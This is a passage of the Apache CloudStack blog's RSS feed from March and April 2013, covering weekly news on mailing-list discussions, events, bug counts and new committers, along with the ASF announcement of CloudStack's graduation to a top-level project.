href="http://markmail.org/thread/s7sx3fgfkb6hsbqy" target="_blank" rel="nofollow" class="external-link">started the discussion on the mailing list</a> with a draft of the report.</p><h5><a name="ApacheCloudStackWeeklyNews-8April2013-AssigningTickets"></a>Assigning Tickets </h5><p>Noah Slater <a href="http://markmail.org/message/ngt2o3wqh5fm6n6y" target="_blank" rel="nofollow" class="external-link">raised an issue</a> about ticket assignments:</p><blockquote><p>Right now, we have people who are regularly going through JIRA and triaging tickets. This is totally fantastic, and a very valuable activity for the project. (So thank you!) But I also notice that specific individuals are being assigned to the tickets in the process.</p><p>This is a form of "cookie licking". The analogy is that if you fancy a cookie, but you're too hungry right now, you take a lick of it so nobody else can touch it. This is an anti-pattern and we should try to avoid it. </p></blockquote><p>As a result, Noah suggested that we change the way that ticket assignments are handled so that people are taking tickets as they get a chance to work on them, rather than taking tickets that they plan to work on. </p><h3><a name="ApacheCloudStackWeeklyNews-8April2013-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><ul><li>Chip Childers: "<a href="http://www.chipchilders.com/blog/2013/4/4/apache-cloudstack-graduation-news-roundup.html" target="_blank" rel="nofollow" class="external-link">Apache CloudStack Graduation News Roundup</a>" Chip rounds up some of the reports on the Apache CloudStack graduation.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-8April2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>Open Cloud Challenges</b> at the Data Center Expo, Paris, April 10th <a href="http://www.datacenter-expo.com/info_event/80/cloud-open-source---les-communautes-open-cloud-et-leurs-defis.html" target="_blank" rel="nofollow" class="external-link">Open Cloud</a>.</li><li><b>Cloud Computing</b> at the University of British Columbia (Robson Campus), Vancouver, Canada, April 9th.</li><li><b>CloudStack Introduction and Basics</b> - The inaugural meeting of the <a href="http://meetup.com/CloudStack-NYC-User-Group/" target="_blank" rel="nofollow" class="external-link">CloudStack NYC User Group</a> will be Wednesday, April 10th in New York City. <a href="http://www.meetup.com/CloudStack-NYC-User-Group/events/106104162/" target="_blank" rel="nofollow" class="external-link">Sign up on Meetup.com</a>.</li><li><b>UK/European CloudStack user group</b> <a href="http://www.eventbrite.com/event/5816841329/eorg" target="_blank" rel="nofollow" class="external-link">meet-up</a> will be April 11th in London.</li><li><b>Storage in Apache CloudStack</b> being held by the <a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/108916562/" target="_blank" rel="nofollow" class="external-link">CloudStack SF Bay Area Users Group</a> on April 30, 2013 @ Citrix Conference Center, sign up on the Meetup.com Website.</li><li><b>CloudStack Bangalore Meetup</b> Sometime in April, date not yet announced. Watch the <a href="http://www.meetup.com/CloudStack-Bangalore-Group/events/110900872/" target="_blank" rel="nofollow" class="external-link">Meetup page for details</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-8April2013-Jira"></a>Jira</h3><ul><li>Last week: 2 blocker bugs. This week: 2 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a>, only one of which is truly a bug. (The other is a task that must be completed before release.)</li><li>Last week: 6 critical bugs. This week: 6 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 122 major bugs. This week: 118 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 23 minor bugs. This week: 23 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-8April2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><p>No new committers or PMC members were announced this week. To see all current committers and PMC members, see the <em><a href="http://cloudstack.apache.org/who.html" target="_blank" rel="nofollow" class="external-link">Who We Are</a></em> page on the Apache CloudStack website.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 1 April 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_1</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_1</guid>
            <pubDate>Mon, 01 Apr 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Welcome to the April 1 issue of the Apache CloudStack Weekly News. Don't worry, no foolishness in this issue – just a quick recap of the week's most important events.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/3b5a1e4e-90cb-469e-a58a-512bdcc28007"><img loading="lazy" src="/img/imported/3b5a1e4e-90cb-469e-a58a-512bdcc28007?t=true" alt="acwn-icon.png" align="left" class="img_ev3q"></a>Welcome to the April 1 issue of the Apache CloudStack Weekly News. Don't worry, no foolishness in this issue – just a quick recap of the week's most important events. </p><p>As you recall, we officially announced that the CloudStack project was graduating from the incubator last week. Though there were no events quite of that magnitude this week, there was plenty of discussion of new features, a new Website design proposal, and Chiradeep Vittal has unveiled a new tool for testing and development called QuickCloud that will come in handy for many CloudStack contributors and users.</p><h3><a name="ApacheCloudStackWeeklyNews-1April2013-MajorDiscussions"></a>Major Discussions</h3><p>This is a summary of some of the most interesting/important discussions on the Apache CloudStack mailing lists. (Mostly dev@cloudstack.apache.org, but not excluding discussions on marketing@ and users@, of course.) This is provided as a convenient summary for folks who are not involved in day-to-day development of Apache CloudStack – if you're working on CloudStack or would like to get involved in development, we highly recommend being subscribed to dev@cloudstack.apache.org and keeping close tabs on the list!</p><h5><a name="ApacheCloudStackWeeklyNews-1April2013-WebsiteReDesignDiscussion"></a>Website Re-Design Discussion</h5><p>Sonny Chhen has <a href="http://markmail.org/message/rfgclvkfz6qtgy33" target="_blank" rel="nofollow" class="external-link">submitted a second mock-up design for the front page of the Apache CloudStack Web site</a> which has been met with quite a lot of enthusiasm. </p><h5><a name="ApacheCloudStackWeeklyNews-1April2013-Quickcloud:ZerotoCloudinLessthanaMinute!"></a>Quickcloud: Zero to Cloud in Less than a Minute! </h5><p>Chiradeep Vittal has developed Quickcloud, a <a href="http://markmail.org/thread/ajw7b6arhluqcuv2" target="_blank" rel="nofollow" class="external-link">much easier way</a> to start up a CloudStack cloud on a single box. <a href="http://markmail.org/message/weqbozgay44v3bro" target="_blank" rel="nofollow" class="external-link">Chiradeep announced on March 26th that QuickCloud is in a "rough-but-ready state"</a> for developers to try out.  </p><h5><a name="ApacheCloudStackWeeklyNews-1April2013-EIPAcrossZones"></a>EIP Across Zones</h5><p>Discussion <a href="http://markmail.org/message/6licrw7dve4f674h" target="_blank" rel="nofollow" class="external-link">continued</a> on Murali Reddy's <a href="http://markmail.org/message/flx3romoalsu5oiu" target="_blank" rel="nofollow" class="external-link">proposal</a> to enhance the EIP functionality to work at the region level. This week, Murali explained in more detail what he was thinking:</p><blockquote><p>CloudStack need not have a native capability to move IP across zone. From the CloudStack core perspective, all we need is abstraction of moving IP (presented as NAT) across the zones. Then we can have specific intelligence in the plug-ins which are providing EIP service. For e.g.'Route Health Injection' is commonly used solution in distributed data centres for disaster recovery supported by multiple vendors.</p></blockquote><h5><a name="ApacheCloudStackWeeklyNews-1April2013-UpgradeProcessfrom4.0.xto4.1.0"></a>Upgrade Process from 4.0.x to 4.1.0</h5><p>Wido den Hollander <a href="http://markmail.org/message/5at5p2hasjltkt5z" target="_blank" rel="nofollow" class="external-link">started a discussion about how upgrades will work</a> for 4.0.x to 4.1.0, given the package renaming taking place in 4.1.0. See the discussion on the mailing list and <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Ubuntu+upgrade+process" target="_blank" rel="nofollow" class="external-link">docs in progress on the wiki</a>. </p><h5><a name="ApacheCloudStackWeeklyNews-1April2013-ProposedFeatures:ACLonPrivateGatewayandEgressFirewallRulesforSRX"></a>Proposed Features: ACL on Private Gateway and Egress Firewall Rules for SRX</h5><p>Jayapal Reddy Uradi <a href="http://markmail.org/message/3p5gwarljkqxlf4m" target="_blank" rel="nofollow" class="external-link">has proposed a new feature ACL on the private gateway</a>. Says Jayapal, "Currently we do not have way to control the traffic on the private gateway. Using this feature we can configure the ingress/egress ACL on the private gateway." </p><p>Jayapal has also proposed <a href="http://markmail.org/message/e6yrbl2b7rehk2g4" target="_blank" rel="nofollow" class="external-link">egress firewall rules for the external firewall device, SRX</a>. </p><h5><a name="ApacheCloudStackWeeklyNews-1April2013-JenkinsUpgrade"></a>Jenkins Upgrade</h5><p>Prasanna Santhanam has <a href="http://markmail.org/message/h5dmrprwyswuq5fv" target="_blank" rel="nofollow" class="external-link">pointed out a few bugs that were affecting build jobs</a>. Jenkins.cloudstack.org has been upgraded.</p><h3><a name="ApacheCloudStackWeeklyNews-1April2013-Newsworthy"></a>Newsworthy</h3><p>CloudStack's graduation garnered quite a bit of press last week! Some of the coverage:</p><ul><li><b><a href="https://www.linux.com/news/enterprise/cloud-computing/711234-cloudstack-ups-enterprise-credibility-with-apache-top-level-status" target="_blank" rel="nofollow" class="external-link">CloudStack Ups 'Enterprise Credibility' with Apache Top-Level Status</a></b> on Linux.com</li><li><b><a href="http://www.datamation.com/cloud-computing/apache-cloudstack-advances-open-source-cloud-efforts.html" target="_blank" rel="nofollow" class="external-link">Apache CloudStack Advances Open Source Cloud Efforts</a></b> on Datamation</li><li><b><a href="http://www.itworld.com/cloud-computing/349596/apache-helps-free-cloudstack-citrix-fetters" target="_blank" rel="nofollow" class="external-link">Apache helps free CloudStack from Citrix fetters</a></b> on IT World</li><li><b><a href="http://blogs.citrix.com/2013/03/25/becoming-the-apache-webserver-of-the-cloud-apache-cloudstack-graduation/" target="_blank" rel="nofollow" class="external-link">Becoming the Apache Webserver of the Cloud</a></b> on Peder Ulander's blog</li><li><b><a href="http://www.h-online.com/open/news/item/CloudStack-rises-to-top-level-in-Apache-Software-Foundation-1829733.html" target="_blank" rel="nofollow" class="external-link">CloudStack rises to top level in Apache Software Foundation</a></b> on The H Open</li><li><b><a href="http://blog.rightscale.com/2013/03/25/cloudstack-graduates-to-top-level-apache-status/" target="_blank" rel="nofollow" class="external-link">CloudStack Graduates to Top-Level Apache Status</a></b> on the RightScale blog</li><li><b><a href="http://ceph.com/community/congratulations-to-apache-cloudstack/" target="_blank" rel="nofollow" class="external-link">Congratulations to Apache CloudStack</a></b> on the Ceph Blog</li><li><b><a href="http://jaxenter.com/apache-cloudstack-graduates-but-is-it-qualified-to-challenge-openstack-46630.html" target="_blank" rel="nofollow" class="external-link">Apache CloudStack graduates, but is it qualified to challenge OpenStack?</a></b> on Jaxenter</li><li><b><a href="http://www.techcentral.ie/21157/is-the-cloud-too-important-for-proprietary-software" target="_blank" rel="nofollow" class="external-link">Is the cloud too important for proprietary software?</a></b> on TechCentral.ie</li></ul><h3><a name="ApacheCloudStackWeeklyNews-1April2013-UpcomingEventsandCFPs"></a>Upcoming Events and CFPs</h3><ul><li><b>CloudStack Introduction and Basics</b> - The inaugural meeting of the CloudStack NYC User Group will be Wednesday, April 10th in New York City. <a href="http://www.meetup.com/CloudStack-NYC-User-Group/events/106104162/" target="_blank" rel="nofollow" class="external-link">Sign up on Meetup.com</a>.</li><li>UK/European CloudStack user group <a href="http://www.eventbrite.com/event/5816841329/eorg" target="_blank" rel="nofollow" class="external-link">meet-up</a> will be April 11th in London.</li><li><b>Storage in Apache CloudStack</b> being held by the <a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/108916562/" target="_blank" rel="nofollow" class="external-link">CloudStack SF Bay Area Users Group</a> on April 30, 2013 @ Citrix Conference Center, sign up on the Meetup.com Website.</li><li><b>CloudStack Bangalore Meetup</b> Sometime in April, date not yet announced. Watch the <a href="http://www.meetup.com/CloudStack-Bangalore-Group/events/110900872/" target="_blank" rel="nofollow" class="external-link">Meetup page for details</a>.</li></ul><h4><a name="ApacheCloudStackWeeklyNews-1April2013-CallsforPapers"></a>Calls for Papers</h4><p>Want to help promote Apache CloudStack? Submit a talk at one of the conferences or events listed here. (Missing an event? Please send a note to marketing@cloudstack.apache.org). Note that events are listed in order of the close of the CFP, not the order of the events themselves. </p><ul><li><b>Cloud Expo</b> takes place June 10 through June 13 in New York, NY. CFP closes on April 5. See <a href="http://www.cloudcomputingexpo.com/general/papers2013east.htm" target="_blank" rel="nofollow" class="external-link">http://www.cloudcomputingexpo.com/general/papers2013east.htm</a>.</li><li><b>VMworld</b> takes place from August 26 through August 29. CFP closes on April 12th. See <a href="http://www.vmworld.com/community/conference/cfp" target="_blank" rel="nofollow" class="external-link">http://www.vmworld.com/community/conference/cfp</a>.</li><li><b>CloudSlam</b> takes place on June 18th in Santa Clara, CA. CFP closes on April 25th. See <a href="http://cloudslam.org/cfp" target="_blank" rel="nofollow" class="external-link">http://cloudslam.org/cfp</a>.</li><li><b>CloudConnect Chicago</b> takes place from September 10 through 13 in Chicago, IL. The CFP closes on April 29th. See <a href="http://www.cloudconnectevent.com/chicago/call-for-submissions/" target="_blank" rel="nofollow" class="external-link">http://www.cloudconnectevent.com/chicago/call-for-submissions/</a>.</li><li><b>CloudOpen and LinuxCon</b> take place from September 16 through 18 in New Orleans, LA. The CFP closes on June 17th. See <a href="http://events.linuxfoundation.org/events/cloudopen/cfp" target="_blank" rel="nofollow" class="external-link">http://events.linuxfoundation.org/events/cloudopen/cfp</a>.</li><li><b>Ohio LinuxFest</b> takes place from September 13 through 15 in Columbus, OH. The CFP closes on July 8th. See <a href="http://www.ohiolinux.org/cfp" target="_blank" rel="nofollow" class="external-link">http://www.ohiolinux.org/cfp</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-1April2013-Jira"></a>Jira</h3><p>4.1.0 is still in process, but getting much closer to completion. Here's the numbers so far:</p><ul><li>Last week: 3 blocker bugs. This week: 2 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a>, only one of which is truly a bug. (The other is a task that must be completed before release.)</li><li>Last week: 6 critical bugs. This week: 5 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 126 major bugs. This week: 122 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 22 minor bugs. This week: 23 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-1April2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><p>The Apache CloudStack project is proud to welcome two new committers this week!</p><ul><li>The Apache CloudStack PMC has invited Animesh Chaturvedi to become a committer and <a href="http://markmail.org/message/3juqneabgdx6yx3m" target="_blank" rel="nofollow" class="external-link">he has accepted</a>.</li><li>The Apache CloudStack PMC has invited Ilya Musayev to become a committer and <a href="http://markmail.org/message/jqjntj3pjn2v5erc" target="_blank" rel="nofollow" class="external-link">he has accepted</a>.</li></ul><p>Please welcome our new committers!</p><h3><a name="ApacheCloudStackWeeklyNews-1April2013-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b></p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 25 March 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_251</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_251</guid>
            <pubDate>Mon, 25 Mar 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack has graduated from the Apache Incubator! The Apache Software Foundation (ASF) board met on Wednesday (March 20) and voted in favor of the project's graduation from the incubator. The official announcement was released on Monday, March 25, 2013.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/3b5a1e4e-90cb-469e-a58a-512bdcc28007"><img loading="lazy" src="/img/imported/3b5a1e4e-90cb-469e-a58a-512bdcc28007?t=true" alt="acwn-icon.png" align="left" class="img_ev3q"></a>Apache CloudStack <em>has graduated</em> from the Apache Incubator! The Apache Software Foundation (ASF) board met on Wednesday (March 20) and voted in favor of the project's graduation from the incubator. The official announcement <a href="https://blogs.apache.org/cloudstack/entry/the_apache_software_foundation_announces" target="_blank" rel="nofollow" class="external-link">was released on Monday, March 25, 2013</a>. </p><p>Of course, that's not all that's happened. in the past week. Work on the 4.1.0 release continues, with the first RC date slipping slightly due to the number of blocker bugs. The good news is that a lot of progress has been made on the blocker bugs in the past week, so things don't appear to be <b>too</b> far behind. </p><p>With the graduation, note that locations have changed for many resources (including the git repository) and the <a href="http://markmail.org/message/l3rc74krizsgcw4x" target="_blank" rel="nofollow" class="external-link">list address have changed as well</a>. For instance, cloudstack-dev@incubator.apache.org is now dev@cloudstack.apache.org. See the full list of address here on <a href="http://cloudstack.apache.org/mailing-lists.html" target="_blank" rel="nofollow" class="external-link">cloudstack.apache.org</a>. </p><p>Want to keep reading the CloudStack Weekly News? See the next section for information on how to contribute.</p><h3><a name="ApacheCloudStackWeeklyNews-25March2012-ContributingtotheApacheCloudStackWeeklyNews"></a>Contributing to the Apache CloudStack Weekly News</h3><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) Alternatively, you can send to the cloudstack-dev mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b></p><h3><a name="ApacheCloudStackWeeklyNews-25March2012-MajorDiscussions"></a>Major Discussions</h3><p>Some of the major discussions and issues that have taken place on dev@, marketing@, and users@ in the past week. This is by no means exhaustive, if you need to be up-to-date on all development issues in the project, you'll definitely want to be subscribed to the mailing lists! Remember <em>if it didn't happen on the mailing list, it didn't happen</em> also means that participants are expected to keep current with the mailing lists, or expect decisions to be made in their absence.</p><h5><a name="ApacheCloudStackWeeklyNews-25March2012-Graduation"></a>Graduation</h5><p>Chip Childers <a href="http://markmail.org/message/lfkhazcc77mpy62e" target="_blank" rel="nofollow" class="external-link">announced on Wednesday</a> that the board has passed the graduation resolution. And there was much rejoicing!</p><h5><a name="ApacheCloudStackWeeklyNews-25March2012-BaremetalBootedfrom4.1.0"></a>Baremetal Booted from 4.1.0</h5><p>The bare metal support in Apache CloudStack 4.1.0 <a href="http://markmail.org/message/lwpscjn67myiwebk" target="_blank" rel="nofollow" class="external-link">had a number of blockers against it</a> that meant it was unlikely to be of release quality. <a href="http://markmail.org/message/adwxnxrlhtdfrzx7" target="_blank" rel="nofollow" class="external-link">A patch has been applied</a> to disable the functionality.</p><h5><a name="ApacheCloudStackWeeklyNews-25March2012-SystemVMsOptionalforQuickCloud"></a>System VMs Optional for QuickCloud</h5><p>Chiradeep Vittal has <a href="http://markmail.org/message/ajw7b6arhluqcuv2" target="_blank" rel="nofollow" class="external-link">proposed making the system VMs optional</a> to allow a cloud to start faster. </p><h5><a name="ApacheCloudStackWeeklyNews-25March2012-BVTforCloudStackCheckins"></a>BVT for CloudStack Check-ins</h5><p>Prasanna Santhanam <a href="http://markmail.org/message/rqghmg5s4gks27wd" target="_blank" rel="nofollow" class="external-link">provided an update on the BVT work</a> this week. Prasanna says "this work is now on the bvt branch. Since this puts together python and maven which don't seem to interact in a friendly way I'd like some help testing in other developer environments to fix possible failures."</p><h5><a name="ApacheCloudStackWeeklyNews-25March2012-UsingLanyrdtoTrackApacheCloudStackEvents"></a>Using Lanyrd to Track Apache CloudStack Events</h5><p>On the marketing@ list, Joe Brockmeier <a href="http://markmail.org/message/3hib3fe7qtimhdb7" target="_blank" rel="nofollow" class="external-link">proposed using Lanyrd to track Apache CloudStack events</a> rather than trying to use the wiki or a static page on the Apache CMS site. You can find the events tagged with Apache CloudStack <a href="http://lanyrd.com/topics/apache-cloudstack/" target="_blank" rel="nofollow" class="external-link">on Lanyrd's Apache CloudStack topic page</a> and add new events to that topic. Note that an event need not be exclusively about Apache CloudStack, but should have one or more talks about Apache CloudStack at the event and/or speakers from the project.</p><h3><a name="ApacheCloudStackWeeklyNews-25March2012-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><ul><li><b><a href="http://buildacloud.org/blog/245-graduation-day-apache-cloudstack-leaves-the-nest.html" target="_blank" rel="nofollow" class="external-link">Graduation Day! Apache CloudStack Leaves the Nest</a></b>: Joe writes about graduation and what it means for the project.</li></ul><ul><li><b><a href="http://buildacloud.org/blog/244-the-cloudstack-community-by-the-numbers.html" target="_blank" rel="nofollow" class="external-link">The CloudStack Community by the Numbers</a></b>: Sebastien Goasguen writes about participation numbers for the project.</li></ul><ul><li><b><a href="http://buildacloud.org/blog/243-meeting-the-hometown-lug.html" target="_blank" rel="nofollow" class="external-link">Meeting the Hometown LUG</a></b>: Joe writes about presenting a CloudStack talk for the St. Louis Linux Users Group (STLLUG) last week.</li></ul><ul><li><b><a href="http://blogs.citrix.com/2013/03/25/reflections-on-apache-cloudstack-graduation/" target="_blank" rel="nofollow" class="external-link">Reflections on Apache CloudStack Graduation</a></b>: Kevin Kluge writes about what he's learned from participating in Apache CloudStack from incubation to graduation.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-25March2012-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b>Apache CloudStack Introductory Webinar</b> - Joe Brockmeier and Kirk Kosinski will be conducting an introductory Apache CloudStack webinar, "<a href="https://www1.gotomeeting.com/register/468769457" target="_blank" rel="nofollow" class="external-link">Apache CloudStack: API to UI</a>" on Thursday, March 28th at 9 a.m. Pacific.</li><li><b>Storage in Apache CloudStack</b> being held by the <a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/108916562/" target="_blank" rel="nofollow" class="external-link">CloudStack SF Bay Area Users Group</a> on March 28, 2013. Location TBD, sign up on the Meetup.com Website.</li><li><b>Apache Hackathon at PES Institute of Technology</b> being <a href="http://www.meetup.com/CloudStack-Bangalore-Group/events/104410272/" target="_blank" rel="nofollow" class="external-link">held by the Bangalore Chapter of CloudStack India</a> on March 30, 2013 at 10:00 a.m. Sign up on the Meetup.com Website.</li><li>Sebastien Goasguen will be at the <a href="http://www.eventbrite.com/org/613789661" target="_blank" rel="nofollow" class="external-link">Scotland JAVA User Group</a> on March 27th, 2013 in Edinburgh, introducing CloudStack.</li><li>Sebastien Goasguen will give a lightning talk at the <a href="http://cloudcamp.org/scotland/369" target="_blank" rel="nofollow" class="external-link">CloudCamp Scotland</a> on March 28th, 2013 in Edinburgh, talking about SDN in CloudStack.</li><li><b>CloudStack Introduction and Basics</b> - The inaugural meeting of the CloudStack NYC User Group will be Wednesday, April 10th in New York City. <a href="http://www.meetup.com/CloudStack-NYC-User-Group/events/106104162/" target="_blank" rel="nofollow" class="external-link">Sign up on Meetup.com</a>.</li><li>UK/European CloudStack user group <a href="http://www.eventbrite.com/event/5816841329/eorg" target="_blank" rel="nofollow" class="external-link">meet-up</a> will be April 11th in London.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-25March2012-Jira"></a>Jira</h3><p>Excellent progress on issues in the last week. 4.1.0 is currently down to 3 blocker bugs, 10 critical, and 148 major bugs. </p><ul><li>Last week: 7 blocker bugs. This week: 3 <a href="http://is.gd/blockers41acs" target="_blank" rel="nofollow" class="external-link">blocker bugs</a></li><li>Last week: 10 critical bugs. This week: 6 <a href="http://is.gd/critical41acs" target="_blank" rel="nofollow" class="external-link">critical bugs</a></li><li>Last week: 148 major bugs. This week: 126 <a href="http://is.gd/major41acs" target="_blank" rel="nofollow" class="external-link">major bugs</a></li><li>Last week: 28 minor bugs. This week: 22 <a href="http://is.gd/minor41acs" target="_blank" rel="nofollow" class="external-link">minor bugs</a></li></ul><h3><a name="ApacheCloudStackWeeklyNews-25March2012-NewCommittersandPPMCMembers"></a>New Committers and PPMC Members</h3><ul><li>Hiroaki Kawai was invited to become a committer and <a href="http://mail-archives.apache.org/mod_mbox/cloudstack-dev/201303.mbox/%3CCAKprHVbJSPYDYwFb7Ofj0iBWQTZ8TgwvvJFMJsBai%2Bg8Fe1rWA%40mail.gmail.com%3E" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li><li>Ahmad Emneina was invited to become a committer and <a href="http://markmail.org/message/d2igj7obz4sgz3nz" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li><li>Geoff Higginbottom was invited to become a committer and <a href="http://markmail.org/message/5txh22ffmwn2xsfv" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li></ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Apache Software Foundation Announces Apache CloudStack Has Become A Top-Level Project]]></title>
            <link>https://cloudstack.apache.org/blog/the_apache_software_foundation_announces</link>
            <guid>https://cloudstack.apache.org/blog/the_apache_software_foundation_announces</guid>
            <pubDate>Mon, 25 Mar 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Mature, open source turn-key platform for delivering scalable, full-featured Infrastructure-as-a-Service (IaaS) clouds.]]></description>
            <content:encoded><![CDATA[<p><strong><em>Mature, open source turn-key platform for delivering scalable, full-featured Infrastructure-as-a-Service (IaaS) clouds.</em></strong></p><p>Forest Hill, MD - 25 March 2013</p><p>The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of nearly 150 open source projects and initiatives, announced today that Apache CloudStack has graduated from the Apache Incubator to become a Top-Level Project (TLP), signifying that the project's community and products have been well-governed under the ASF's meritocratic process and principles.</p><p>"When CloudStack first became an Apache Incubator project, it was a well-established cloud management platform, so its codebase was already mature," said Chip Childers, Vice President of Apache CloudStack. "Our work in the Incubator has focused on growing a really strong community around the code and establishing the governance practices expected of a top-level project within the Apache Software Foundation."</p><p>Formerly the product of Cloud.com, which was acquired by Citrix in 2011, CloudStack was donated by Citrix to ASF and submitted to the Apache Incubator in April 2012. It is a well-established cloud management platform, already widely in production use by many organizations. It is used to deliver Infrastructure-as-a-Service (IaaS) cloud computing in both private-cloud, public, and hybrid cloud environments. It has been proven to be both stable and highly scalable, underpinning production clouds more than 30,000 physical nodes, in geo-distributed environments.</p><p>Asked to comment on the importance of becoming a Top-Level Project, Childers added "CloudStack had the advantage of having many long-term, large deployments which had proven the stability and scalability of the technology. This helped us concentrate on adopting the 'Apache Way' of governance, which is well understood and open, delivering so many great pieces of software over the years."</p><p>"We know that Infrastructure-as-a-Service is the next generation of IT infrastructure, and that people will demand open standards and open governance for such an important layer in their IT stack. That is why the CloudStack project meeting the rigorous standards of ASF governance is so significant. "</p><p>When asked to comment on the Apache CloudStack community itself, Childers said: "we've managed to build a diverse, friendly and very open community around CloudStack. New members receive a really warm welcome and we make sure that all contributors are on an equal footing, whether they are writing code or helping with any other aspect of the project. Anybody thinking of getting involved in the project would quickly find what a great community we are. As well as online involvement, we've already had a global collaboration conference and there are many CloudStack groups established in many different countries. "</p><p><strong>About Apache CloudStack</strong></p><p>Apache CloudStack is a complete software suite for creating Infrastructure-as-a-Service (IaaS) clouds. Target environments include service providers and enterprises. It is used by many service providers to set up an on-demand, elastic cloud computing services and by enterprises to set up a private cloud for use by their own employees. Apache CloudStack is also available to individuals and organizations that wish to study and implement an IaaS for personal, educational, and/or production use.</p><p>Further information on Apache CloudStack can be found at <a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">cloudstack.apache.org</a>.</p><p><strong>About Apache Software Foundation</strong></p><p>The Apache Software Foundation, a US 501(3)(c) non-profit corporation, provides organizational, legal, and financial support for a broad range of over 140 open source software projects. The Foundation provides an established framework for intellectual property and financial contributions that simultaneously limits potential legal exposure for our project committers. Through a collaborative and meritocratic development process known as The Apache Way, Apache(tm) projects deliver enterprise-grade, freely available software products that attract large communities of users. The pragmatic Apache License makes it easy for all users, commercial and individual, to deploy Apache products. </p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 18 March 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_181</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_181</guid>
            <pubDate>Mon, 18 Mar 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[Big news this week: Apache CloudStack has passed major milestones towards graduation, major progress on bugs against 4.1.0, discussions about integrating the Palo Alto firewall with CloudStack, and getting Eclipse and Maven to play nice for developers. Some interesting posts from members of the Apache CloudStack community as well.]]></description>
